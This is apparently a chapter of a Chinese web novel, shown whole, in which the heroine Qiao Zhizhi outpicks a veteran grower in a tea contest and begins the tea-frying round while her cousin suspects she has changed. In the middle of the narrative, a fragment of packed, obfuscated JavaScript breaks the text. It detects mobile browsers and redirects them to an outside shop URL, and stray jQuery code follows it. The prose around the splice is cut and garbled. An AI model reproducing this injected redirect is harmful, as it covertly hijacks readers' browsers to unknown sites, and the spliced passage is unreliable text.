乔知栀杏眸微眯,狡黠一笑。
“那就这么说定了!不过我赢了,不光要签契书,以后茶园的事,你们都得听我的。”
茶农们你看看我、我看看你,有人摇头,有人皱眉,但没人站出来反对。
老管事捋了捋胡须。
“那就择日不如撞日,就今天比!老夫的茶园就在镇东头,这会儿日头正好,露水刚干,采茶最合适不过!丫头,敢不敢?”
乔知栀眉毛一挑,撸起袖子,把小白往沈墨怀里一塞。
“走!”
赵怀远折扇一收,笑眯眯地站起来。
“本官当裁判,走走走,都去都去。”
一行人浩浩荡荡地出了议事厅,往镇东头走。茶农们三三两两地跟在后面,交头接耳,窃窃私语。
“这丫头片子,真敢比啊?”
“嘴皮子厉害没用,得看手上功夫。”
“周老头种了四十年茶,她能赢?我是不信。”
沈墨抱着小白走在乔知栀旁边。
小白趴在他臂弯里,圆溜溜的眼睛东张西望,看见路边有只蝴蝶飞过,“唧”了一声,伸出小爪子想去抓。
沈墨轻轻拍了一下它的爪子,小白缩回去,委屈地把脸埋进他臂弯里。
乔知栀走在前面,步子又大又快,裙角带起一阵风。
她嘴上说不紧张,心里其实在打鼓。
采茶、炒茶她不怕,当年在茶厂干了好几年,老师傅都夸她有灵气,手上有功夫比老师傅都好。
可品茶……
那玩意太玄了,靠的是舌头和鼻子,她心里是真没底。
但她不能露怯。
茶农们本来就瞧不起女人,她要是稍微露出一点不确定,这些人转头就走,以后再也别想把茶园整合起来。
赵怀远从后面追上来,跟她并排走,折扇在手里转来转去。
“表妹,你现在认输还来得及,等到了茶园,当着那么多人的面输了,可不好看。”
乔知栀头也没回。“谁输谁赢还不一定呢。”
赵怀远笑了笑,没再说话。
到了茶园,满山满坡的茶树层层叠叠地铺开,绿油油的,风吹过来,茶树的叶子哗啦啦地响,像一片绿色的海浪。
茶农们站在地头,围成一个圈,中间空出一块地方。
老管事姓周,人称周老头,是平安镇种茶年头最久的人,手脚麻利地系上围裙,从一个年轻后生手里接过一只竹篓,往腰间一挂。
“丫头,第一项,采茶。一芽一叶,半个时辰,看谁采得多、采得好。”
乔知栀也不废话,从旁边拿了一只竹篓系在腰间,弯腰走进茶垄。
两个人隔着三行茶树,同时开始采。
周老头的手很快,指头一捏、一掐、一丢,一芽一叶稳稳当当地落进竹篓里,动作行云流水,一看就是干了几十年的老手。
旁边几个茶农看着,纷纷点头。
“周师傅这手艺,不减当年啊。”
“那可不,种了四十年茶,闭着眼睛都比别人采得好。”
乔知栀没看他们,低着头,两只手同时在茶树上翻飞。
她的手指又细又长,捏住一芽一叶,轻轻一掐,芽叶完整,不带老梗,丢进竹篓里的声音清脆利落。
她的动作没有周老头那么快,但每一掐都精准,没有一掐是废的。
更重要的是,她用两只手。
茶农们的窃窃私语声渐渐小了。
有人伸长了脖子往她那边看,有人眯起眼睛盯着她的手指。
“她怎么两只手一起采?”
“这丫头手上有功夫啊,你看她掐的那个位置,刚刚好,多一点都不掐。”
“一芽一叶,完整得跟画出来似的。”
赵怀远站在地头,折扇也不摇了,看着乔知栀那双翻飞的手,眼眸微弯。
表妹虽说在庄子上住过,可从未干过粗活。
做饭可以说是后来学的,这采茶,没几年功夫,是不可能这样的。
表妹……怎么像是变了一个人?
沈墨抱着小白站在人群后面,没往前挤。
小白趴在他肩膀上,歪着脑袋看乔知栀,时不时“唧”一声,像是在给她加油。
半个时辰到。
赵怀远喊了一声“停”,两个年轻后生跑过去,把两只竹篓提过来,放在地头的一张大案板上。
周老头的竹篓满了大半,茶叶堆得冒了尖。
乔知栀的竹篓只有半篓,看起来比周老头少了一大截。
茶农们又开始嘀咕了。
“我就说嘛,女人哪比得过周师傅。”
“采得少就算了,质量还不知道怎么样呢。”
赵怀远没理那些嘀咕声,把两只竹篓里的茶叶分别倒在两块白布上,摊开。
先看周老头的。
茶叶一芽一叶,大小均匀,但仔细看,有几片带了老梗,有几片掐的位置偏了,叶片的边缘有点碎。
几个茶农凑过去看了看,点了点头,没说话。
再看乔知栀的。
茶叶摊开的一瞬间,几个茶农同时“咦”了一声。
每一片都是一芽一叶,芽头饱满,叶片完整,掐口整齐,没有一片带老梗,没有一片掐碎的。
而且颜色均匀,绿中带白,绒毛清晰可见。
两边对比,祛除不能用的。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17581207|205117||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
竟是乔知栀的更多。
周老头走过去,蹲下来,捏起一片茶叶放在手心里看了看,又凑近闻了闻。
他站起来,转过身看着乔知栀,脸上的表情变了。
“丫头,你这手上功夫,跟谁学的?”
乔知栀拍了拍手上的灰,笑了笑。
“在茶厂学的。”
周老头盯着她看了好一会儿,忽然笑了。“好,第一项,算你赢。老夫采了四十年茶,没见过你这么稳的手。”
茶农们炸开了锅。
“周师傅认输了?”
“这丫头真有两下子啊?”
“第一项赢了有什么用?还有炒茶和品茶呢。”
赵怀远折扇一展,摇了摇,笑眯眯地宣布。
“第一项,乔娘子胜。第二项,炒茶。走,去炒茶坊。”
炒茶坊在茶园边上,几口大铁锅一字排开,灶膛里的火烧得正旺。
周老头选了一口锅,挽起袖子,把灶膛里的柴火抽出来两根,把锅温降下来。
他从竹篓里抓了一把鲜叶,撒进锅里,手掌贴上去,开始翻炒。
他的手掌粗糙,布满老茧,在滚烫的锅里翻飞,茶叶在他手心里起起落落,发出沙沙的声响。
一股青草气混着茶香慢慢飘出来。
茶农们围在旁边,看得目不转睛。
“周师傅这手法,没得说。”
“火候掌握得也好,茶叶嫩,火不能大,大了就焦了。”
乔知栀走到另一口锅前,蹲下来看了看灶膛里的火,伸手抽出了一根柴,又加了两根细柴。
她没急着下锅,把手掌悬在锅上方,试了试温度,等了一会儿,又试了一次,直到觉得温度合适了,才从竹篓里抓了一把鲜叶撒进锅里。
她没戴手套。
茶农们看见她光着手伸进锅里,倒吸了一口凉气。
“她不要手了?”
“这锅温少说也有一百多度,她一个细皮嫩肉的女人家,怎么扛得住?”
乔知栀没理那些声音,手掌贴上去,开始翻炒。
她的手很白很细,在滚烫的铁锅里翻飞。
茶叶在她手心里翻滚,每一片都被均匀地加热,青草气一点点散去,茶香一点点出来。
她不光用手掌炒,她还用手背、用手指,不同的部位翻炒出不同的效果。
手掌压、手背托、指尖拨,茶叶在她手里像活了一样,翻腾、跳跃、聚拢、散开。
炒茶坊越发安静。
赵怀远的眉头越皱。
采茶还可以说是天赋,这炒茶,绝对是要学要练的。
这,不是表妹!